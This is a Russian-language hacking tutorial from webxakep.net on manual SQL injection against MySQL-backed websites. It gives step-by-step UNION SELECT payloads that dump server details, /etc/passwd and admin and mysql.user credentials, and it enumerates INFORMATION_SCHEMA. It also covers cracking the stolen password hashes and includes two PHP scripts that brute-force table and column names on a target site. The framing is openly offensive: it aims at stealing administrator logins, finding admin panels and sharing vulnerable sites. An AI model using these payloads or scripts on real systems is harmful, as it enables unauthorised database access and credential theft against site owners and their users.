Приветствую Вас :)
В этой статье мы рассмотри проведение
SQL инъекций в
MySQL сервера.
SQL - "
Structured Query Language" - "
Язык структурированных запросов".
Это один из самых распространёных способов взлома сайта.
Основан он на внедрении вредоносного(произвольного) кода в Базу Данных.
Выполняется
SQL запрос(ы).
Таким способом можно узнать данные(логины, пароли) пользователей и администраторов. Можно просматривать файлы на сервере (не везде) и т.д.
1. Поиск инъекции.Для всех примеров, будет использоватся условный сайт http://sql-inj.lol (его не существует).
Поиск проходит по принципу замены параметров, если нет фильтра то инъекция пройдёт.
Наш сайт
http://sql-inj.lol/news.php?id=212Изменяем параметр для выявления инъекции.
http://sql-inj.lol/news.php?id=-1
http://sql-inj.lol/news.php?id=666666666666666666
http://sql-inj.lol/news.php?id=212'
http://sql-inj.lol/news.php?id=212-1
http://sql-inj.lol/news.php?id=0=nullЕсли вы увидите ошибку сервера, например как эту "
error in your SQL syntax;" или на подобии, то уязвимость существует. Но, бывают слепые инъекции, которые не отображают ошибку, но она есть.
2. Подбор полей.Подбор полей третий по важности этап, для более быстрого подбора я использую order by, сейчас всё рассмотрим.
Найденная уязвимость
http://sql-inj.lol/news.php?id=212'http://sql-inj.lol/news.php?id=212+order+by+10--или
http://sql-inj.lol/news.php?id=212+order+by+10/*Если столбцов меньше 10 то будет ошибка, таким образом быстрее всего подбирать столбцы, если их по 25))
Если есть фильтр, то можно так:
http://sql-inj.lol/news.php?id=212 order by 10/*Допустим у нас 5 столбцов, и при верхнем запросы выдаёт ошибку, то продолжаем подбор.
http://sql-inj.lol/news.php?id=212+order+by+8--Опять ошибка…
http://sql-inj.lol/news.php?id=212+order+by+6--Теперь нет ошибки, так как столбцов 5, то есть меньше 6.
Нам известно сколько столбцов, теперь используем union select, для поучения данных.
В конце мы ставим -- или /*, для того чтобы закомментировать последующий код, который нам не нужен.
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5--1,2,3,4,5 это идёт пересчёт наших столбцов и заполнение их новыми данными.
По идеи если это не слепая инъекция то мы должны увидеть наши цифры на странице, если на странице много цифр типа 1,2,3... То можно ужесточить .
http://sql-inj.lol/news.php?id=212+union+select+1111,2222,3333,4444,5555--Так мы быстрее увидим их, или так:
http://sql-inj.lol/news.php?id=212+union+select+null,null,null,null,null--Так, нам известна SQL уязвимость
http://sql-inj.lol/news.php?id=212', нам известно что там 5 столбцов.
3. Получение данных.Например при таком запросе
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5--, вы видите на странице наши цифру 3, теперь можно вместо них увидеть полезные данные.
http://sql-inj.lol/news.php?id=212+union+select+1,2,version(),4,5--version() - выводит версию
MySQL сервера.
http://sql-inj.lol/news.php?id=212+union+select+1,2,database(),4,5--database() - выводит название текущей БД.
http://sql-inj.lol/news.php?id=212+union+select+1,2,USER(),4,5--user() - выводит имя текущего пользователя
MySQL.
http://sql-inj.lol/news.php?id=212+union+select+1,2,SESSION_USER(),4,5--SESSION_USER() синоним user().
http://sql-inj.lol/news.php?id=212+union+select+1,2,SYSTEM_USER(),4,5--SYSTEM_USER() синоним user().
http://sql-inj.lol/news.php?id=212+union+select+1,2,LAST_INSERT_ID(),4,5--LAST_INSERT_ID() Значение AUTOINCREMENT колонки для последнего INSERT.
http://sql-inj.lol/news.php?id=212+union+select+1,2,@@tmpdir,4,5--@@tmpdir - выводит временную директорию.
http://sql-inj.lol/news.php?id=212+union+select+1,2,@@basedir,4,5--@@basedir - выводит базовую директорию.
http://sql-inj.lol/news.php?id=212+union+select+1,2,@@datadir,4,5--@@datadir - выводит рабочую директорию MySQL.
http://sql-inj.lol/news.php?id=212+union+select+1,2,@@version_compile_os,4,5--@@version_compile_os - выводит ОС (не всегда).
http://sql-inj.lol/news.php?id=212+union+select+1,2,@@version_compile_os,4,5--@@hostname - выводит имя хоста.
http://sql-inj.lol/news.php?id=212+union+select+1,2,LOAD_FILE('/etc/passwd'),4,5--LOAD_FILE('/etc/passwd') Выводит указанный файл, только если права file_priv.
Так же лучше перевести в HEX значение(
http://z-zz.ru/):
http://sql-inj.lol/news.php?id=212+union+select+1,2,LOAD_FILE(0x2F6574632F706173737764),4,5--Так же рекомендую вам использовать функции из SQL
concat(), или
concat_ws(), они нужны для объединения строк.
Пример
concat(version(),0x3a,database(),0x3a,user())Выводит нечто похожее на
5.2.6:admin_cms:lolka0x3a это двоеточие ":".
Пример
concat_ws(0x3a.version(),database(),user())Выводит нечто похожее на
5.2.6:admin_cms:lolka0x3a это двоеточие ":".
НО! concat_ws работает не везде, лучше используйте concat.Давайте эту функции используем в нашем запросе.
http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5--И мы видим теперь вместо одной версии, написано так же название БД и имя пользователя.
4. Подбор таблицы.Это второй этап по важности.
Можно использовать словари, можно программы для авто перебора, но лучше ручками :)
Наш последний запрос
http://sql-inj.lol/news.php?id=212+union+select+1,2,USER(),4,5--.
Будем использовать from table1.
Нам не известна таблица, известна в случаях если это популярная cms которую можно скачать и посмотреть по умолчанию.
Пишем запрос:
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+table1--Видим ошибку....
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+user--Опять видим ошибку... но не отчаиваемся, продолжаем подбирать....
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+users--
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+User--
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+Users--Так как у нас файл news.php, то конечно вероятней всего название таблицы news.
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+news--Отлично!! Нам известна таблица news, но в ней нет важных данных для нас, поэтому мы остановимся на другом.
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+admins--
http://sql-inj.lol/news.php?id=212+union+select+1,2,3,4,5+from+admin--Всё мы нашли важную таблицу admin, теперь нам остаётся узнать названия столбцов.
Чисто логически, часто используются следующие названия:
id,name,user,users,login,pass,passw,passwd,password и т.д.
Подбираем так:
http://sql-inj.lol/news.php?id=212+union+select+1,2,user,4,5+from+admin--Отлично, как не странно угадали сразу, видим имя администратора, продолжаем.
http://sql-inj.lol/news.php?id=212+union+select+1,2,password,4,5+from+admin--Великолепно, теперь нам известен и пароль, давайте лучше с использованием функции concat.
http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(user,0x3a,password),4,5+from+admin--И мы видим в удобной форме типа, garik:matrix.
Всё можно сказать всё сделано, инъекция найдена и прошла успешно, остаётся найти админку, ищите папки типа "admin/,aminka/,administrator/,admin.php,administrator.php...."
Но нет, мы продолжим дальше ;)
5. Взлом хэша.Смотрим наш последний шаг,
http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(user,0x3a,password),4,5+from+admin--И мы видим в удобной форме типа, garik:matrix.
Но может мы увидим нечто похожее на garik:
63a9f0ea7bb98050796b649e85481845После двоеточия, это хэш.
Хеш-функция(Hash) - функция, выполняющая одностороннее преобразование входных данных, называемое также хешированием. Хеш-функция подбирается так,
чтобы вероятность появления различных данных с одинаковым хешем стремилась к нулю, а восстановить данные по их хешу было как можно труднее;
Чаще всего вам придётся видеть такие популярные хэши как md5,mysql,mysql5.
В данный момент расшифровать их нереально, по крайне мере нам с вами :)
Используйте мою программу для поиска хеша по открытым сервисам:
http://webxakep.net/forum/showthread.php?t=4753Вы можете найти массу софта для подбора хэша, например:
http://webxakep.net/soft/soft-hack/644-insidepro-extreme-gpu-bruteforcer-egb.html
http://webxakep.net/soft/soft-hack/363-passwordspro.html
Но для подбора вам нужны будут очень большие словари, которые вы найдёте тут http://webxakep.net/forum/showthread.php?t=5,
или используйте Rainbow таблицы.
Можете так же на PHP написать свой брутфорс, но он значительно медленнее чем системный)), в PHP функция md5().
То есть у вас есть хэш "
63a9f0ea7bb98050796b649e85481845", пишите код типа:
<?php
$s="63a9f0ea7bb98050796b649e85481845";
if ($s==md5("root"))
echo "O_O yes";
?>
Только надо добавить словарь, и можно многопоточность.
По хешам почитать можно ещё тут
http://webxakep.net/forum/forumdisplay.php?f=172Если вы так и не смогли подобрать хэш типа MySql, MySql5 и т.п, то вам сюда http://webxakep.net/forum/showthread.php?p=6065.
6. Автоматизация поиска таблиц и колонок.В помощь Вам пара скриптов на PHP, которые будут перебирать колонки и таблицы.
Скрипты писал для себя, так что, если не нравятся, напишите лучше
sql_tabl.php
<?php
set_time_limit(0);
$BASE=<<<HTML
user
users
admin
log
HTML;
$FORM=<<<HTML
<h1>Скрипт от WebXakep.net</h1><br>
Введите адрес где брутить (<b>0x7B5F676F6F647C7D</b> вывод обезателен!),<br>
например: (http://site.ru/info.php?Id=11+union+select+0x7B5F676F6F647C7D+from+):<br><br>
<form method="post">
<input type="text" name="lol" size="120"><br>
<input type="submit" value="Go"><br>
</form>
HTML;
if (!isset($_POST['lol'])) die($FORM);
$BASE=explode("n",$BASE);
$BASE_L=count($BASE)-1;
$target=$_POST['lol'];
echo "Начинаем....<br><br>";
ob_flush();
flush();
for ($i = 0; $i <= $BASE_L; $i++) {
$xxx = $target.$BASE[$i];
$text = file_get_contents($xxx);
if (strpos($text, "{_good|}")) {
echo $xxx."<br>";
ob_flush();
flush();
}
}
echo "<br> Всё!</br>";
?>
sql_col.php
<?php
set_time_limit(0);
ignore_user_abort(1);
$BASE=<<<HTML
id
login
pass
password
HTML;
$FORM=<<<HTML
<h1>Скрипт от WebXakep.net</h1><br>
Введите адрес где брутить (<b>concat(0x7B73317D,{target},0x7B73327D)</b> вывод обезателен!),<br>
например: (http://site.ru/info.php?Id=187+union+select+concat(0x7B73317D,{target},0x7B73327D)+from+admin):<br><br>
<form method="post">
<input type="text" name="lol" size="120"><br>
<input type="submit" value="Go"><br>
</form>
HTML;
if (!isset($_POST['lol'])) die($FORM);
$BASE=explode("n",$BASE);
$BASE_L=count($BASE)-1;
$target=$_POST['lol'];
if (strpos($target, "concat(0x7B73317D,{target},0x7B73327D)") === false) die("Вы не ввели <b>concat(0x7B73317D,{target},0x7B73327D)</b> !");
echo "Начинаем....<br><br>";
ob_flush();
flush();
for ($i = 0; $i <= $BASE_L; $i++) {
$xxx = str_replace("{target}",trim($BASE[$i]),$target);
$text = file_get_contents($xxx);
if (strpos($text, "{s1}") && strpos($text, "{s2}")) {
echo $xxx."<br>";
ob_flush();
flush();
}
}
echo "<br> Всё!</br>";
?>
7. Дополнительно.- Ещё напишу хз.... свои мысли. Думаю Вам пригодится всё это...
Удобнее всего при проведение SQL инъекции, всё временно записывать в текстовый файл.
Например, узнали начальные данные и записали их:
http://sql-inj.lol/news.php?id=212+union+select+1,2,concat(version(),0x7c,database(),0x7c,user()),4,5--- Например Вы подобрали колонки и т.д, теперь ищите вывод.
Для этого лучше и ставить переменную в минус, например, выше у нас
news.php?id=212,
тогда отобразится вся страница и надо будет искать вывод (иногда его нету), удобнее ставить в минус
news.php?id=-212 и тогда вывод увидим сразу (иногда это необходимо, иногда не помогает)
- Если в
version() у нас 5 версия, можно и надо использовать наш информер
INFORMATION_SCHEMA.
С ним нам будет на много легче (если он доступен) узнать таблицы и столбцы.
Примеры:
INFORMATION_SCHEMA.TABLEShttp://sql-inj.lol/news.php?id=-212+union+select+1,2,table_name,4,5+from+INFORMATION_SCHEMA.TABLES+limit+17,1--Выведет название таблицы,
limit 17 указывает на номер. Начинайте сразу с 17, так как до этого там стандартные таблицы
INFORMATION_SCHEMA.
И так перебираем, пока не кончатся таблицы.
http://sql-inj.lol/news.php?id=-212+union+select+1,2,table_name,4,5+from+INFORMATION_SCHEMA.TABLES+limit+18,1--http://sql-inj.lol/news.php?id=-212+union+select+1,2,table_name,4,5+from+INFORMATION_SCHEMA.TABLES+limit+19,1--и так далее....
INFORMATION_SCHEMA.COLUMNSПочти тоже самое что и таблицы, только тут мы выводим название колонк.
http://sql-inj.lol/news.php?id=-212+union+select+1,2,COLUMN_NAME,4,5+from+INFORMATION_SCHEMA.COLUMNS+table_name=0x61646D696E+limit+0,1--0x61646D696E - название нужной таблицы в
Hexlimit+0,1 - Выводим колонку под 0 номером и т.д
http://sql-inj.lol/news.php?id=-212+union+select+1,2,COLUMN_NAME,4,5+from+INFORMATION_SCHEMA.COLUMNS+table_name=0x61646D696E+limit+1,1--http://sql-inj.lol/news.php?id=-212+union+select+1,2,COLUMN_NAME,4,5+from+INFORMATION_SCHEMA.COLUMNS+table_name=0x61646D696E+limit+2,1--и так пока не кончится.
8. Завершение.Так же будет полезно посмотреть на таблицу mysql.user и её столбцы User + Password + нужны права.
http://sql-inj.lol/news.php?id=212+union+select+1,concat(User,0x3a,Password),3,4,5,6,7,8,9,10,11,12+from+mysql.user--или
http://sql-inj.lol/news.php?id=212 union select 1,concat(User,0x3a,Password),3,4,5,6,7,8,9,10,11,12 from+mysql.user/*Если на сервере есть phpmyadmin, что чаще всего, то поищите в местах типа "/phpmyadmin/,/myadmin/,phpmyadmin.test_wx.ru,myadmin.test_wx.ru....."
Потренироваться на sql инъекциях вы можете тут
http://webxakep.net/forum/showthread.php?t=368 и там же добавлять найденные вами :)
Автор статьи: ArxWolfСайт: http://webxakep.netУважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.